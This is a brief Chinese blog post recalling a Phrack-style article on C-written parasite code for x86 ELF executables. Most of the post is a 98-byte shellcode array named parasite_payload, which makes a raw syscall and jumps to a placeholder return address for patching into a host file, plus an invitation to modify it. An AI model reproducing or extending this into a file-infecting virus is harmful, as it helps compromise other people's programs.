2008-11-18

C

翻翻硬盘中的文件,瞄到了以前保存下来的一篇文章,关于用C语言写x86下ELF格式文件的寄生代码。文章是典型的phrack风格,很快便看完。把文中的代码拷贝下来,没法编译过。不过稍微改改就能跑了,输出结果(重新编排过)如下:
char parasite_payload[]="\x60\xe8\x40\x00\x00\x00\xb8\x45\x53\x45"
"\x53\xff\xe0\x61\x55\x89\xe5\x83\xec\x04\x53\x8b\x44\x24\x0c\x8b"
"\x5c\x24\x10\xcd\x80\x5b\xc9\xc3\x55\x89\xe5\x83\xec\x04\xe8\x00"
"\x00\x00\x00\x58\x05\x35\x00\x00\x00\xc9\xc3\x55\x89\xe5\x83\xec"
"\x04\xe8\x00\x00\x00\x00\x58\x83\xe8\x40\xc9\xc3\x55\x89\xe5\x83"
"\xec\x08\xc7\x44\x24\x04\xc9\x11\x00\x00\xc7\x04\x24\x01\x00\x00"
"\x00\xe8\xae\xff\xff\xff\xc9\xc3";
size: 98
有兴趣的朋友可以看看原文[链接],试试修改一下。

标签:

0 Comments:

发表评论

<< Home